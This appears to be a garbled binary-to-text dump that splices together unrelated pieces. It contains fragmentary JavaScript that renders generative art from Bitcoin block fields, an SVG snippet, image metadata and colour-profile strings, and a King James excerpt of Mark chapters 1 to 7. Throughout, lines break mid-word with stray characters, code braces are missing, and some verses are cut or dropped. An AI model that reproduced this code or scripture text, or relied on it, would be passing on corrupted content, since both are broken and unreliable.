            this.gradient.addColorStop("0.2", color2);
            this.gradient.addCM
olorStop("0.4", color3);
            this.gradient.addColorStop("0.6", color4);
            this.gradient.addColorStop("0.8", color5);
            this.gradient.addColorStop("0.9", color6);
            /* this.gradient.addColorStop("0.1", "#ff5c33");
            this.gradient.addColorStop("0.2", "#ff66b3");
            this.gradient.addColorStop("0.4", "#ccccff");
            this.gradient.addColorStop("0.6", "#b3ffff");
            this.gradient.addColorStop("0.8", "#80ff80");
            this.gradient.addColorStoM
p("0.9", "#ffff33"); */
        drawBackground() {
            ctx.fillRect(0, 0, this.#width, this.#height);
            ctx.fillStyle = "white";
            ctx.font = "italic small-caps bold 15px Georgia, serif"
            const blockText = `#${this.block.height}`;
            let textLen = ctx.measureText(blockText).width;
            ctx.fillText(blockText, this.#width - (textLen + 10), this.#height - 10);
        #drawLine(angle, x, y, pattern = [10, 10, 10]) {
            this.#ctx.beM
            this.#ctx.moveTo(x, y);
            if (this.block.heigth % 2 === 0)
                ctx.setLineDash(pattern);
                ctx.setLineDash([]);
            this.#ctx.lineTo(x + Math.cos(angle) * Math.E * getRandomFloat(0, 10, this.#random), y + Math.sin(angle) * getRandomFloat(0, 10, this.#random));
            this.#ctx.stroke();
        generateSnow = (
            const { hash } = this.block;
            ctx.strokeStyle = getColor(this.block.tM
ime.valueOf(), this.#random);
            ctx.fillStyle = getColor(this.block.difficulty, this.#random);
            const maxLevel = 4;
            let sides = Math.floor((this.block.nTx * this.block.nonce * this.#random()) % 16) + 3;
            console.log("SIDES", sides);
            if (sides > 10) {
                sides = 10;
            const spread = (this.#random() * 48) + 0.51;
            let branches = this.#random() * (this.block.nTx % 3) + 1;
            console.log("BRANCHES", branchM
            if (branches > 3) {
                branches = 3;
            ctx.translate(this.#width / 2, this.#height / 2);
            const drawLine = (level) => {
                if (level > maxLevel) return;
                ctx.lineWidth = 10;
                ctx.beginPath();
                ctx.moveTo(0, 0);
                ctx.lineTo(this.#random() * 1000, 0);
                ctx.stroke();
                for (let i = 1; i < branches + 1; i++) {
                    if (i % 3 === 0){
                    ctx.setLineDash([]);
                    } else {
                        ctx.setLineDash([100,20,30,40]);
                    }
                    let angle = Math.E * 2 * spread;
                    ctx.save();
                    ctx.translate(((this.#width / 2) * i) / (branches + 1), 0);
                    ctx.scale(0.5, 0.5);
                    ctx.save();
                    angle = Math.E * 2 * spread;
                    ctx.rotate(angle);
                    ctx.strokeStyle = getColM
                        this.#random() * i,
                        this.#random,
                    );
                    drawLine(level + 1);
                    ctx.restore();
                    ctx.save();
                    ctx.rotate(-angle);
                    ctx.strokeStyle = getColor2(
                        ctx.strokeStyle.toString(),
                        this.#random,
                    );
                    drawLine(level + 1);
                    ctx.restore();
                    ctxM
            for (let i = -1; i < sides; i++) {
                ctx.translate(-100, 0)
                let rotation = this.#random() * Math.E * Math.E;
                ctx.rotate(rotation);
                drawLine(0);
        drawPattern(_x, _y) {
            for (let y = _y || 0; y < this.#height; y += this.cellSize) {
                for (let x = _x || 0; x < this.#width; x += this.cellSize) {
                    let angle = (Math.cos(x * MaM
th.E ) + Math.sin(y * Math.E)) * Math.E ** 2 * this.radius;
                    this.#drawLine(angle, x, y);
        animate(timeStamp) {
            const deltaTime = timeStamp - this.lastTime;
            this.lastTime = timeStamp;
            console.log(this.lastTime, this.startTime, this.lastTime - this.startTime)
            if (this.lastTime < 420) {
                if (this.timer > this.interval) {
                    //this.#ctx.clearRect(0, 0, this.#width, this.#M
                    this.drawPattern();
                    this.timer = 0;
                } else {
                    this.timer += deltaTime;
            this.#ctx.save()
            requestAnimationFrame(this.animate.bind(this));
        const { hash } = block;
        const seed = parseInt(hash.substring(0, 8), 16);
        const rng = new Math.seedrandom(seedM
        for (i in block.height) {
        const width = canvas.width;
        const height = canvas.height;
        const radius = 1;
        const flowfield = new FlowFieldEffect(ctx, width, height, radius, rng, block);
        flowfield.drawBackground();
        flowfield.drawPattern();
        //flowfield.animate(0);
        ctx.setLineDash([]);
        flowfield.generateSnow();
        ctx.restore()
        //flowfield.drawPattern();
 // Generar base64 y guardarlo en base de datos junto a toda la info utilizada del bloque
        const base64Image = canvas.toDataURL();
        setter(base64Image);
        return base64Image;
        // GENERAR SVG
        /* const svg = ctx.getSerializedSvg(true);
        console.log({ svg });
        let blob = new Blob([svg], { type: "image/svg+xml" });
        let url = URL.createObjectURL(blob);
        console.log({ url });
        setter(url); */
    async function main(
            hash: "00000000839a8e6886ab5951d76f411475428afc90947ee320161bbf18eb6048",
            difficulty: 1,
            confirmations: 776262,
            time: 1231469665,
            nonce: 2573394689,
            version: 1,
        console.log("main: ", block);
        let params = (new URL(document.location)).searchParams;
        let heightBlock = params.get("height");
        let hash = params.get("hash");
        let difficulty = params.get("diffiM
        let confirmations = params.get("confirmations");
        let time = params.get("time");
        let nTx = params.get("nTx");
        let nonce = params.get("nonce");
        let version = params.get("version");
        let canvasWidth = params.get("canvas_width") ?? 500;
        let canvasHeight = params.get("canvas_height") ?? 500;
        if (heightBlock && hash && difficulty && confirmations && time && nTx && nonce && version) {
            block = {
                height: heightBlock,
         hash: hash,
                difficulty: difficulty,
                confirmations: confirmations,
                time: time,
                nTx: nTx,
                nonce: nonce,
                version: version,
        let canvasRoot = document.getElementById("root");
        let image = document.createElement("img");
        if (canvasRoot.children.length > 0) {
            canvas = canvasRoot.children[0];
            ctx.clearRect(0, 0, canvas.width, canvas.height);
            canvas = document.createElement("canvas");
            canvas.id = "canvas";
            canvas.width = canvasWidth;
            canvas.height = canvasHeight;
            canvasRoot.appendChild(canvas);
            ctx = canvas.getContext("2d");
        let base64 = draw(
            (img) => {
                image.src = img;
        console.log({ base64 })
    let canvas, ctx;
    documentLq.onload = main();
    window.addEventListener('resize', function () {
FjDOUT:DA7169D12C808E8E2157AE0EC76DB0055C17355624720C744D98FCCBCC8CA68B
<?xml version="1.0" encoding="UTF-8"?>
<svg version="1.0" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 8 8">
<!--puzzlords.com s1p0060/4096 3,1,1,1,1 ~0.49059569486416876-->
<style type="text/css">
polyline{stroke:#000;stroke-width:0.15}
<rect fill="#9296A0" width="100%" height="100%"/>
<polyline fill="#F2F652" points="0,8 6,6 6,6 0,0 "/>
<polyline fill="#36EEE0" points="8,0 3,6 4,6 8,8 "/>
<polyline fill="#36EEE0" points="8,8 2,2 2,4 0,8 "/>
<polyline fill="#36EEE0" points="0,0 1,4 2,4 8,0 "/>
YiTXtXML:com.adobe.xmp
<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="XMP Core 6.0.0">
   <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
      <rdf:Description rdf:about=""
            xmlns:tiff="http://ns.adobe.com/tiff/1.0/">
         <tiff:Orientation>1</tiff:Orientation>
      </rdf:Description>
.IEC 61966-2-1 Default RGB Colour Space - sRGB
-Reference Viewing Condition in IEC 61966-2-1
Copyright International Color Consortium, 2015
http://ns.adobe.com/xap/1.0/
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 6.0-c002 79.164488, 2020/07/10-22:06:53        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.diM
d:e0d18448-e896-5e43-a0da-1b9382b0ded8" xmpMM:DocumentID="xmp.did:0BB99FF8AA1711ED867ADE358AB5F6BC" xmpMM:InstanceID="xmp.iid:0BB99FF7AA1711ED867ADE358AB5F6BC" xmp:CreatorTool="Adobe Photoshop 22.0 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:5b588711-b116-814c-91d5-351258d52ed1" stRef:documentID="adobe:docid:photoshop:a1abe87c-c128-284f-beb5-9705e8f093f5"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
&2.&&&&.>55555>DAAAAAADDDDDDDDDDDDDDDDDDDDDDDDDDDDDM
&6& &6D6++6DDDB5BDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
59.37.100 libvpx-vp9g
text/plain;charset=utf-8
AUTHORIZED KING JAMES VERSION
THE GOSPEL ACCORDING TO ST. MARK
1:1: The beginning of the gospel of Jesus Christ, the Son of God;
1:2: As it is written in the prophets, Behold, I send my messenger before thy face, which shall prepare thy way before thee.
1:3: The voice of one crying in the wilderness, Prepare ye the way of the Lord, make his paths straight.
1:4: John did baptize in the wilderness, and preach the baptism of repentance for the remission of sins.
e went out unto him all the land of Judaea, and they of Jerusalem, and were all baptized of him in the river of Jordan, confessing their sins.
1:6: And John was clothed with camel's hair, and with a girdle of a skin about his loins; and he did eat locusts and wild honey;
1:7: And preached, saying, There cometh one mightier than I after me, the latchet of whose shoes I am not worthy to stoop down and unloose.
1:8: I indeed have baptized you with water: but he shall baptize you with the Holy Ghost.
o pass in those days, that Jesus came from Nazareth of Galilee, and was baptized of John in Jordan.
1:10: And straightway coming up out of the water, he saw the heavens opened, and the Spirit like a dove descending upon him:
1:11: And there came a voice from heaven, saying, Thou art my beloved Son, in whom I am well pleased.
1:12: And immediately the Spirit driveth him into the wilderness.
1:13: And he was there in the wilderness forty days, tempted of Satan; and was with the wild beasts; and the angels ministered M
1:14: Now after that John was put in prison, Jesus came into Galilee, preaching the gospel of the kingdom of God,
1:15: And saying, The time is fulfilled, and the kingdom of God is at hand: repent ye, and believe the gospel.
1:16: Now as he walked by the sea of Galilee, he saw Simon and Andrew his brother casting a net into the sea: for they were fishers.
1:17: And Jesus said unto them, Come ye after me, and I will make you to become fishers of men.
1:18: And straightway they forsook their nets, and folloM
1:19: And when he had gone a little further thence, he saw James the son of Zebedee, and John his brother, who also were in the ship mending their nets.
1:20: And straightway he called them: and they left their father Zebedee in the ship with the hired servants, and went after him.
1:21: And they went into Capernaum; and straightway on the sabbath day he entered into the synagogue, and taught.
1:22: And they were astonished at his doctrine: for he taught them as one that had authority, and not as the scribM
1:23: And there was in their synagogue a man with an unclean spirit; and he cried out,
1:24: Saying, Let us alone; what have we to do with thee, thou Jesus of Nazareth? art thou come to destroy us? I know thee who thou art, the Holy One of God.
1:25: And Jesus rebuked him, saying, Hold thy peace, and come out of him.
1:26: And when the unclean spirit had torn him, and cried with a loud voice, he came out of him.
1:27: And they were all amazed, insomuch that they questioned among themselves, saying, What thing iM
s this? what new doctrine is this? for with authority commandeth he even the unclean spirits, and they do obey him.
1:28: And immediately his fame spread abroad throughout all the region round about Galilee.
1:29: And forthwith, when they were come out of the synagogue, they entered into the house of Simon and Andrew, with James and John.
1:30: But Simon's wife's mother lay sick of a fever, and anon they tell him of her.
1:31: And he came and took her by the hand, and lifted her up; and immediately the fever left hM
er, and she ministered unto them.
1:32: And at even, when the sun did set, they brought unto him all that were diseased, and them that were possessed with devils.
1:33: And all the city was gathered together at the door.
1:34: And he healed many that were sick of divers diseases, and cast out many devils; and suffered not the devils to speak, because they knew him.
1:35: And in the morning, rising up a great while before day, he went out, and departed into a solitary place, and there prayed.
1:36: And Simon and theM
y that were with him followed after him.
1:37: And when they had found him, they said unto him, All men seek for thee.
1:38: And he said unto them, Let us go into the next towns, that I may preach there also: for therefore came I forth.
1:39: And he preached in their synagogues throughout all Galilee, and cast out devils.
1:40: And there came a leper to him, beseeching him, and kneeling down to him, and saying unto him, If thou wilt, thou canst make me clean.
1:41: And Jesus, moved with compassion, put forth his haM
nd, and touched him, and saith unto him, I will; be thou clean.
1:42: And as soon as he had spoken, immediately the leprosy departed from him, and he was cleansed.
1:43: And he straitly charged him, and forthwith sent him away;
1:44: And saith unto him, See thou say nothing to any man: but go thy way, shew thyself to the priest, and offer for thy cleansing those things which Moses commanded, for a testimony unto them.
1:45: But he went out, and began to publish it much, and to blaze abroad the matter, insomuch thatM
 Jesus could no more openly enter into the city, but was without in desert places: and they came to him from every quarter.
2:1: And again he entered into Capernaum after some days; and it was noised that he was in the house.
2:2: And straightway many were gathered together, insomuch that there was no room to receive them, no, not so much as about the door: and he preached the word unto them.
2:3: And they come unto him, bringing one sick of the palsy, which was borne of four.
2:4: And when they could noM
t come nigh unto him for the press, they uncovered the roof where he was: and when they had broken it up, they let down the bed wherein the sick of the palsy lay.
2:5: When Jesus saw their faith, he said unto the sick of the palsy, Son, thy sins be forgiven thee.
2:6: But there were certain of the scribes sitting there, and reasoning in their hearts,
2:7: Why doth this man thus speak blasphemies? who can forgive sins but God only?
2:8: And immediately when Jesus perceived in his spirit that they so reasoned within M
themselves, he said unto them, Why reason ye these things in your hearts?
2:9: Whether is it easier to say to the sick of the palsy, Thy sins be forgiven thee; or to say, Arise, and take up thy bed, and walk?
2:10: But that ye may know that the Son of man hath power on earth to forgive sins, (he saith to the sick of the palsy,)
2:11: I say unto thee, Arise, and take up thy bed, and go thy way into thine house.
2:12: And immediately he arose, took up the bed, and went forth before them all; insomuch that they were aM
ll amazed, and glorified God, saying, We never saw it on this fashion.
2:13: And he went forth again by the sea side; and all the multitude resorted unto him, and he taught them.
2:14: And as he passed by, he saw Levi the son of Alphaeus sitting at the receipt of custom, and said unto him, Follow me. And he arose and followed him.
2:15: And it came to pass, that, as Jesus sat at meat in his house, many publicans and sinners sat also together with Jesus and his disciples: for there were many, and they followed him.
2:16: And when the scribes and Pharisees saw him eat with publicans and sinners, they said unto his disciples, How is it that he eateth and drinketh with publicans and sinners?
2:17: When Jesus heard it, he saith unto them, They that are whole have no need of the physician, but they that are sick: I came not to call the righteous, but sinners to repentance.
2:18: And the disciples of John and of the Pharisees used to fast: and they come and say unto him, Why do the disciples of John and of the Pharisees fast, but tM
hy disciples fast not?
2:19: And Jesus said unto them, Can the children of the bridechamber fast, while the bridegroom is with them? as long as they have the bridegroom with them, they cannot fast.
2:20: But the days will come, when the bridegroom shall be taken away from them, and then shall they fast in those days.
2:21: No man also seweth a piece of new cloth on an old garment: else the new piece that filled it up taketh away from the old, and the rent is made worse.
2:22: And no man putteth new wine into old boM
ttles: else the new wine doth burst the bottles, and the wine is spilled, and the bottles will be marred: but new wine must be put into new bottles.
2:23: And it came to pass, that he went through the corn fields on the sabbath day; and his disciples began, as they went, to pluck the ears of corn.
2:24: And the Pharisees said unto him, Behold, why do they on the sabbath day that which is not lawful?
2:25: And he said unto them, Have ye never read what David did, when he had need, and was an hungred, he, and they thM
2:26: How he went into the house of God in the days of Abiathar the high priest, and did eat the shewbread, which is not lawful to eat but for the priests, and gave also to them which were with him?
2:27: And he said unto them, The sabbath was made for man, and not man for the sabbath:
2:28: Therefore the Son of man is Lord also of the sabbath.
3:1: And he entered again into the synagogue; and there was a man there which had a withered hand.
3:2: And they watched him, whether he would hM
eal him on the sabbath day; that they might accuse him.
3:3: And he saith unto the man which had the withered hand, Stand forth.
3:4: And he saith unto them, Is it lawful to do good on the sabbath days, or to do evil? to save life, or to kill? But they held their peace.
3:5: And when he had looked round about on them with anger, being grieved for the hardness of their hearts, he saith unto the man, Stretch forth thine hand. And he stretched it out: and his hand was restored whole as the other.
3:6: And the PhariseeM
s went forth, and straightway took counsel with the Herodians against him, how they might destroy him.
3:7: But Jesus withdrew himself with his disciples to the sea: and a great multitude from Galilee followed him, and from Judaea,
3:8: And from Jerusalem, and from Idumaea, and from beyond Jordan; and they about Tyre and Sidon, a great multitude, when they had heard what great things he did, came unto him.
3:9: And he spake to his disciples, that a small ship should wait on him because of the multitude, lest they sM
3:10: For he had healed many; insomuch that they pressed upon him for to touch him, as many as had plagues.
3:11: And unclean spirits, when they saw him, fell down before him, and cried, saying, Thou art the Son of God.
3:12: And he straitly charged them that they should not make him known.
3:13: And he goeth up into a mountain, and calleth unto him whom he would: and they came unto him.
3:14: And he ordained twelve, that they should be with him, and that he might send them forth to preach,
And to have power to heal sicknesses, and to cast out devils:
3:16: And Simon he surnamed Peter;
3:17: And James the son of Zebedee, and John the brother of James; and he surnamed them Boanerges, which is, The sons of thunder:
3:18: And Andrew, and Philip, and Bartholomew, and Matthew, and Thomas, and James the son of Alphaeus, and Thaddaeus, and Simon the Canaanite,
3:19: And Judas Iscariot, which also betrayed him: and they went into an house.
3:20: And the multitude cometh together again, so that they could not M
so much as eat bread.
3:21: And when his friends heard of it, they went out to lay hold on him: for they said, He is beside himself.
3:22: And the scribes which came down from Jerusalem said, He hath Beelzebub, and by the prince of the devils casteth he out devils.
3:23: And he called them unto him, and said unto them in parables, How can Satan cast out Satan?
3:24: And if a kingdom be divided against itself, that kingdom cannot stand.
3:25: And if a house be divided against itself, that house cannot stand.
nd if Satan rise up against himself, and be divided, he cannot stand, but hath an end.
3:27: No man can enter into a strong man's house, and spoil his goods, except he will first bind the strong man; and then he will spoil his house.
3:28: Verily I say unto you, All sins shall be forgiven unto the sons of men, and blasphemies wherewith soever they shall blaspheme:
3:29: But he that shall blaspheme against the Holy Ghost hath never forgiveness, but is in danger of eternal damnation:
3:30: Because they said, He hath M
3:31: There came then his brethren and his mother, and, standing without, sent unto him, calling him.
3:32: And the multitude sat about him, and they said unto him, Behold, thy mother and thy brethren without seek for thee.
3:33: And he answered them, saying, Who is my mother, or my brethren?
3:34: And he looked round about on them which sat about him, and said, Behold my mother and my brethren!
3:35: For whosoever shall do the will of God, the same is my brother, and my sister, and mother.
4:1: And he began again to teach by the sea side: and there was gathered unto him a great multitude, so that he entered into a ship, and sat in the sea; and the whole multitude was by the sea on the land.
4:2: And he taught them many things by parables, and said unto them in his doctrine,
4:3: Hearken; Behold, there went out a sower to sow:
4:4: And it came to pass, as he sowed, some fell by the way side, and the fowls of the air came and devoured it up.
4:5: And some fell on stony ground, where it had not muM
ch earth; and immediately it sprang up, because it had no depth of earth:
4:6: But when the sun was up, it was scorched; and because it had no root, it withered away.
4:7: And some fell among thorns, and the thorns grew up, and choked it, and it yielded no fruit.
4:8: And other fell on good ground, and did yield fruit that sprang up and increased; and brought forth, some thirty, and some sixty, and some an hundred.
4:9: And he said unto them, He that hath ears to hear, let him hear.
4:10: And when he was alone, theM
y that were about him with the twelve asked of him the parable.
4:11: And he said unto them, Unto you it is given to know the mystery of the kingdom of God: but unto them that are without, all these things are done in parables:
4:12: That seeing they may see, and not perceive; and hearing they may hear, and not understand; lest at any time they should be converted, and their sins should be forgiven them.
4:13: And he said unto them, Know ye not this parable? and how then will ye know all parables?
4:15: And these are they by the way side, where the word is sown; but when they have heard, Satan cometh immediately, and taketh away the word that was sown in their hearts.
4:16: And these are they likewise which are sown on stony ground; who, when they have heard the word, immediately receive it with gladness;
4:17: And have no root in themselves, and so endure but for a time: afterward, when affliction or persecution ariseth for the word's sake, immediately they are offended.
4:18: And these are M
they which are sown among thorns; such as hear the word,
4:19: And the cares of this world, and the deceitfulness of riches, and the lusts of other things entering in, choke the word, and it becometh unfruitful.
4:20: And these are they which are sown on good ground; such as hear the word, and receive it, and bring forth fruit, some thirtyfold, some sixty, and some an hundred.
4:21: And he said unto them, Is a candle brought to be put under a bushel, or under a bed? and not to be set on a candlestick?
re is nothing hid, which shall not be manifested; neither was any thing kept secret, but that it should come abroad.
4:23: If any man have ears to hear, let him hear.
4:24: And he said unto them, Take heed what ye hear: with what measure ye mete, it shall be measured to you: and unto you that hear shall more be given.
4:25: For he that hath, to him shall be given: and he that hath not, from him shall be taken even that which he hath.
4:26: And he said, So is the kingdom of God, as if a man should cast seed into theM
4:27: And should sleep, and rise night and day, and the seed should spring and grow up, he knoweth not how.
4:28: For the earth bringeth forth fruit of herself; first the blade, then the ear, after that the full corn in the ear.
4:29: But when the fruit is brought forth, immediately he putteth in the sickle, because the harvest is come.
4:30: And he said, Whereunto shall we liken the kingdom of God? or with what comparison shall we compare it?
4:31: It is like a grain of mustard seed, which, when it is sowM
n in the earth, is less than all the seeds that be in the earth:
4:32: But when it is sown, it groweth up, and becometh greater than all herbs, and shooteth out great branches; so that the fowls of the air may lodge under the shadow of it.
4:33: And with many such parables spake he the word unto them, as they were able to hear it.
4:34: But without a parable spake he not unto them: and when they were alone, he expounded all things to his disciples.
4:35: And the same day, when the even was come, he saith unto them,M
 Let us pass over unto the other side.
4:36: And when they had sent away the multitude, they took him even as he was in the ship. And there were also with him other little ships.
4:37: And there arose a great storm of wind, and the waves beat into the ship, so that it was now full.
4:38: And he was in the hinder part of the ship, asleep on a pillow: and they awake him, and say unto him, Master, carest thou not that we perish?
4:39: And he arose, and rebuked the wind, and said unto the sea, Peace, be still. And the M
wind ceased, and there was a great calm.
4:40: And he said unto them, Why are ye so fearful? how is it that ye have no faith?
4:41: And they feared exceedingly, and said one to another, What manner of man is this, that even the wind and the sea obey him?
5:1: And they came over unto the other side of the sea, into the country of the Gadarenes.
5:2: And when he was come out of the ship, immediately there met him out of the tombs a man with an unclean spirit,
5:3: Who had his dwelling among the tombs; and M
no man could bind him, no, not with chains:
5:4: Because that he had been often bound with fetters and chains, and the chains had been plucked asunder by him, and the fetters broken in pieces: neither could any man tame him.
5:5: And always, night and day, he was in the mountains, and in the tombs, crying, and cutting himself with stones.
5:6: But when he saw Jesus afar off, he ran and worshipped him,
5:7: And cried with a loud voice, and said, What have I to do with thee, Jesus, thou Son of the most high God? I adM
jure thee by God, that thou torment me not.
5:8: For he said unto him, Come out of the man, thou unclean spirit.
5:9: And he asked him, What is thy name? And he answered, saying, My name is Legion: for we are many.
5:10: And he besought him much that he would not send them away out of the country.
5:11: Now there was there nigh unto the mountains a great herd of swine feeding.
5:12: And all the devils besought him, saying, Send us into the swine, that we may enter into them.
5:13: And forthwith Jesus gave them leavM
e. And the unclean spirits went out, and entered into the swine: and the herd ran violently down a steep place into the sea, (they were about two thousand;) and were choked in the sea.
5:14: And they that fed the swine fled, and told it in the city, and in the country. And they went out to see what it was that was done.
5:15: And they come to Jesus, and see him that was possessed with the devil, and had the legion, sitting, and clothed, and in his right mind: and they were afraid.
5:16: And they that saw it told thM
em how it befell to him that was possessed with the devil, and also concerning the swine.
5:17: And they began to pray him to depart out of their coasts.
5:18: And when he was come into the ship, he that had been possessed with the devil prayed him that he might be with him.
5:19: Howbeit Jesus suffered him not, but saith unto him, Go home to thy friends, and tell them how great things the Lord hath done for thee, and hath had compassion on thee.
5:20: And he departed, and began to publish in Decapolis how great thM
ings Jesus had done for him: and all men did marvel.
5:21: And when Jesus was passed over again by ship unto the other side, much people gathered unto him: and he was nigh unto the sea.
5:22: And, behold, there cometh one of the rulers of the synagogue, Jairus by name; and when he saw him, he fell at his feet,
5:23: And besought him greatly, saying, My little daughter lieth at the point of death: I pray thee, come and lay thy hands on her, that she may be healed; and she shall live.
5:24: And Jesus went with him; aM
nd much people followed him, and thronged him.
5:25: And a certain woman, which had an issue of blood twelve years,
5:26: And had suffered many things of many physicians, and had spent all that she had, and was nothing bettered, but rather grew worse,
5:27: When she had heard of Jesus, came in the press behind, and touched his garment.
5:28: For she said, If I may touch but his clothes, I shall be whole.
5:29: And straightway the fountain of her blood was dried up; and she felt in her body that she was healed of thM
5:30: And Jesus, immediately knowing in himself that virtue had gone out of him, turned him about in the press, and said, Who touched my clothes?
5:31: And his disciples said unto him, Thou seest the multitude thronging thee, and sayest thou, Who touched me?
5:32: And he looked round about to see her that had done this thing.
5:33: But the woman fearing and trembling, knowing what was done in her, came and fell down before him, and told him all the truth.
5:34: And he said unto her, Daughter, thy faith hM
ath made thee whole; go in peace, and be whole of thy plague.
5:35: While he yet spake, there came from the ruler of the synagogue's house certain which said, Thy daughter is dead: why troublest thou the Master any further?
5:36: As soon as Jesus heard the word that was spoken, he saith unto the ruler of the synagogue, Be not afraid, only believe.
5:37: And he suffered no man to follow him, save Peter, and James, and John the brother of James.
5:38: And he cometh to the house of the ruler of the synagogue, and seetM
h the tumult, and them that wept and wailed greatly.
5:39: And when he was come in, he saith unto them, Why make ye this ado, and weep? the damsel is not dead, but sleepeth.
5:40: And they laughed him to scorn. But when he had put them all out, he taketh the father and the mother of the damsel, and them that were with him, and entereth in where the damsel was lying.
5:41: And he took the damsel by the hand, and said unto her, Talitha cumi; which is, being interpreted, Damsel, I say unto thee, arise.
ghtway the damsel arose, and walked; for she was of the age of twelve years. And they were astonished with a great astonishment.
5:43: And he charged them straitly that no man should know it; and commanded that something should be given her to eat.
6:1: And he went out from thence, and came into his own country; and his disciples follow him.
6:2: And when the sabbath day was come, he began to teach in the synagogue: and many hearing him were astonished, saying, From whence hath this man these things? andM
 what wisdom is this which is given unto him, that even such mighty works are wrought by his hands?
6:3: Is not this the carpenter, the son of Mary, the brother of James, and Joses, and of Juda, and Simon? and are not his sisters here with us? And they were offended at him.
6:4: But Jesus said unto them, A prophet is not without honour, but in his own country, and among his own kin, and in his own house.
6:5: And he could there do no mighty work, save that he laid his hands upon a few sick folk, and healed them.
6: And he marvelled because of their unbelief. And he went round about the villages, teaching.
6:7: And he called unto him the twelve, and began to send them forth by two and two; and gave them power over unclean spirits;
6:8: And commanded them that they should take nothing for their journey, save a staff only; no scrip, no bread, no money in their purse:
6:9: But be shod with sandals; and not put on two coats.
6:10: And he said unto them, In what place soever ye enter into an house, there abide till ye depart froM
6:11: And whosoever shall not receive you, nor hear you, when ye depart thence, shake off the dust under your feet for a testimony against them. Verily I say unto you, It shall be more tolerable for Sodom and Gomorrha in the day of judgment, than for that city.
6:12: And they went out, and preached that men should repent.
6:13: And they cast out many devils, and anointed with oil many that were sick, and healed them.
6:14: And king Herod heard of him; (for his name was spread abroad:) and he said, ThaM
t John the Baptist was risen from the dead, and therefore mighty works do shew forth themselves in him.
6:15: Others said, That it is Elias. And others said, That it is a prophet, or as one of the prophets.
6:16: But when Herod heard thereof, he said, It is John, whom I beheaded: he is risen from the dead.
6:17: For Herod himself had sent forth and laid hold upon John, and bound him in prison for Herodias' sake, his brother Philip's wife: for he had married her.
6:18: For John had said unto Herod, It is not lawful M
for thee to have thy brother's wife.
6:19: Therefore Herodias had a quarrel against him, and would have killed him; but she could not:
6:20: For Herod feared John, knowing that he was a just man and an holy, and observed him; and when he heard him, he did many things, and heard him gladly.
6:21: And when a convenient day was come, that Herod on his birthday made a supper to his lords, high captains, and chief estates of Galilee;
6:22: And when the daughter of the said Herodias came in, and danced, and pleased HerodM
 and them that sat with him, the king said unto the damsel, Ask of me whatsoever thou wilt, and I will give it thee.
6:23: And he sware unto her, Whatsoever thou shalt ask of me, I will give it thee, unto the half of my kingdom.
6:24: And she went forth, and said unto her mother, What shall I ask? And she said, The head of John the Baptist.
6:25: And she came in straightway with haste unto the king, and asked, saying, I will that thou give me by and by in a charger the head of John the Baptist.
6:26: And the king wM
as exceeding sorry; yet for his oath's sake, and for their sakes which sat with him, he would not reject her.
6:27: And immediately the king sent an executioner, and commanded his head to be brought: and he went and beheaded him in the prison,
6:28: And brought his head in a charger, and gave it to the damsel: and the damsel gave it to her mother.
6:29: And when his disciples heard of it, they came and took up his corpse, and laid it in a tomb.
6:30: And the apostles gathered themselves together unto Jesus, and tolM
d him all things, both what they had done, and what they had taught.
6:31: And he said unto them, Come ye yourselves apart into a desert place, and rest a while: for there were many coming and going, and they had no leisure so much as to eat.
6:32: And they departed into a desert place by ship privately.
6:33: And the people saw them departing, and many knew him, and ran afoot thither out of all cities, and outwent them, and came together unto him.
6:34: And Jesus, when he came out, saw much people, and was moved wM
ith compassion toward them, because they were as sheep not having a shepherd: and he began to teach them many things.
6:35: And when the day was now far spent, his disciples came unto him, and said, This is a desert place, and now the time is far passed:
6:36: Send them away, that they may go into the country round about, and into the villages, and buy themselves bread: for they have nothing to eat.
6:37: He answered and said unto them, Give ye them to eat. And they say unto him, Shall we go and buy two hundred penM
nyworth of bread, and give them to eat?
6:38: He saith unto them, How many loaves have ye? go and see. And when they knew, they say, Five, and two fishes.
6:39: And he commanded them to make all sit down by companies upon the green grass.
6:40: And they sat down in ranks, by hundreds, and by fifties.
6:41: And when he had taken the five loaves and the two fishes, he looked up to heaven, and blessed, and brake the loaves, and gave them to his disciples to set before them; and the two fishes divided he among them allM
6:42: And they did all eat, and were filled.
6:43: And they took up twelve baskets full of the fragments, and of the fishes.
6:44: And they that did eat of the loaves were about five thousand men.
6:45: And straightway he constrained his disciples to get into the ship, and to go to the other side before unto Bethsaida, while he sent away the people.
6:46: And when he had sent them away, he departed into a mountain to pray.
6:47: And when even was come, the ship was in the midst of the sea, and he alone on the lanM
6:48: And he saw them toiling in rowing; for the wind was contrary unto them: and about the fourth watch of the night he cometh unto them, walking upon the sea, and would have passed by them.
6:49: But when they saw him walking upon the sea, they supposed it had been a spirit, and cried out:
6:50: For they all saw him, and were troubled. And immediately he talked with them, and saith unto them, Be of good cheer: it is I; be not afraid.
6:51: And he went up unto them into the ship; and the wind ceased: and they wM
ere sore amazed in themselves beyond measure, and wondered.
6:52: For they considered not the miracle of the loaves: for their heart was hardened.
6:53: And when they had passed over, they came into the land of Gennesaret, and drew to the shore.
6:54: And when they were come out of the ship, straightway they knew him,
6:55: And ran through that whole region round about, and began to carry about in beds those that were sick, where they heard he was.
6:56: And whithersoever he entered, into villages, or cities, or coM
untry, they laid the sick in the streets, and besought him that they might touch if it were but the border of his garment: and as many as touched him were made whole.
7:1: Then came together unto him the Pharisees, and certain of the scribes, which came from Jerusalem.
7:2: And when they saw some of his disciples eat bread with defiled, that is to say, with unwashen, hands, they found fault.
7:3: For the Pharisees, and all the Jews, except they wash their hands oft, eat not, holding the tradition of the M
7:4: And when they come from the market, except they wash, they eat not. And many other things there be, which they have received to hold, as the washing of cups, and pots, brasen vessels, and of tables.
